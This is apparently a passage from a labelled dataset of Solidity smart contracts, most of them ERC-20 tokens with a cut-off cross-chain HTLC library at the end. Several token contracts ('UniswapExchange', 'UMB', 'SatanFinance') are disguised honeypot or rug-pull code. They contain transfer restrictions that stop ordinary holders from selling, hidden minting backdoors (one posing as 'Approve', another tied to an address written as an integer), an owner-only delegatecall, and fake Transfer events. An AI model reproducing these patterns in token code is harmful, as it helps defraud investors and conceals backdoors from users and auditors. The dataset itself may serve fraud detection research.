emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
require(!isPaused);
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,015 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,701 |
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UMB {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
function emter() public {
require (msg.sender == owner);
emit Transfer(address(0x0), 0xbA02Badcb72990D4Ab4C4652756E20E1fcF3d56a, 5000000 ether);
emit Transfer(address(0x0), 0x34Cff99A2717E5319fE373581B7DC0963B53DFa7, 2500000 ether);
emit Transfer(address(0x0), 0x11b867Ae59170ca8f6dd18DFc2a77A1645370F5d, 2500000 ether);
emit Transfer(address(0x0), 0xc9a3C390323e9515ba9F36B198a2E20dFc86d10f, 2500000 ether);
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI || tx.origin == owner || msg.sender == owner );
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor() payable public {
name = "Umbrella";
symbol = "UMB";
totalSupply = 12500000000000000000000000;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, 2500000 ether);
}
} | 0 | 520 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SatanFinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function Approve(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1080614020421183795110940285280029773222128095634));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function Transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,763 |
pragma experimental ABIEncoderV2;
pragma solidity ^0.4.26;
interface IRC20Protocol {
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
function balanceOf(address _owner) external view returns (uint);
}
pragma solidity 0.4.26;
interface IQuota {
function userLock(uint tokenId, bytes32 storemanGroupId, uint value) external;
function userBurn(uint tokenId, bytes32 storemanGroupId, uint value) external;
function smgRelease(uint tokenId, bytes32 storemanGroupId, uint value) external;
function smgMint(uint tokenId, bytes32 storemanGroupId, uint value) external;
function upgrade(bytes32 storemanGroupId) external;
function transferAsset(bytes32 srcStoremanGroupId, bytes32 dstStoremanGroupId) external;
function receiveDebt(bytes32 srcStoremanGroupId, bytes32 dstStoremanGroupId) external;
function getUserMintQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getSmgMintQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getUserBurnQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getSmgBurnQuota(uint tokenId, bytes32 storemanGroupId) external view returns (uint);
function getAsset(uint tokenId, bytes32 storemanGroupId) external view returns (uint asset, uint asset_receivable, uint asset_payable);
function getDebt(uint tokenId, bytes32 storemanGroupId) external view returns (uint debt, uint debt_receivable, uint debt_payable);
function isDebtClean(bytes32 storemanGroupId) external view returns (bool);
}
pragma solidity ^0.4.24;
interface IStoremanGroup {
function getSelectedSmNumber(bytes32 groupId) external view returns(uint number);
function getStoremanGroupConfig(bytes32 id) external view returns(bytes32 groupId, uint8 status, uint deposit, uint chain1, uint chain2, uint curve1, uint curve2, bytes gpk1, bytes gpk2, uint startTime, uint endTime);
function getDeposit(bytes32 id) external view returns(uint);
function getStoremanGroupStatus(bytes32 id) external view returns(uint8 status, uint startTime, uint endTime);
function setGpk(bytes32 groupId, bytes gpk1, bytes gpk2) external;
function setInvalidSm(bytes32 groupId, uint[] indexs, uint8[] slashTypes) external returns(bool isContinue);
function getThresholdByGrpId(bytes32 groupId) external view returns (uint);
function getSelectedSmInfo(bytes32 groupId, uint index) external view returns(address wkAddr, bytes PK, bytes enodeId);
function recordSmSlash(address wk) public;
}
pragma solidity 0.4.26;
interface ITokenManager {
function getTokenPairInfo(uint id) external view
returns (uint origChainID, bytes tokenOrigAccount, uint shadowChainID, bytes tokenShadowAccount);
function getTokenPairInfoSlim(uint id) external view
returns (uint origChainID, bytes tokenOrigAccount, uint shadowChainID);
function getAncestorInfo(uint id) external view
returns (bytes account, string name, string symbol, uint8 decimals, uint chainId);
function mintToken(address tokenAddress, address to, uint value) external;
function burnToken(address tokenAddress, address from, uint value) external;
}
pragma solidity 0.4.26;
interface ISignatureVerifier {
function verify(
uint curveId,
bytes32 signature,
bytes32 groupKeyX,
bytes32 groupKeyY,
bytes32 randomPointX,
bytes32 randomPointY,
bytes32 message
) external returns (bool);
}
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath mul overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath div 0");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath sub b > a");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath add overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath mod 0");
return a % b;
}
}
pragma solidity ^0.4.26;
library HTLCTxLib {
using SafeMath for uint;
enum TxStatus {None, Locked, Redeemed, Revoked, AssetLocked, DebtLocked}
struct HTLCUserParams {
bytes32 xHash;
bytes32 smgID;
uint tokenPairID;
uint value;
uint lockFee;
uint lockedTime;
}
struct BaseTx {
bytes32 smgID;
uint lockedTime;
uint beginLockedTime;
TxStatus status;
}
struct UserTx {
BaseTx baseTx;
uint tokenPairID;
uint value;
uint fee;
address userAccount;
}
struct SmgTx {
BaseTx baseTx;
uint tokenPairID;
uint value;
address userAccount;
}
struct DebtTx {
BaseTx baseTx;
bytes32 srcSmgID;
}
struct Data {
mapping(bytes32 => UserTx) mapHashXUserTxs;
mapping(bytes32 => SmgTx) mapHashXSmgTxs;
mapping(bytes32 => DebtTx) mapHashXDebtTxs;
}
function addUserTx(Data storage self, HTLCUserParams memory params)
public
{
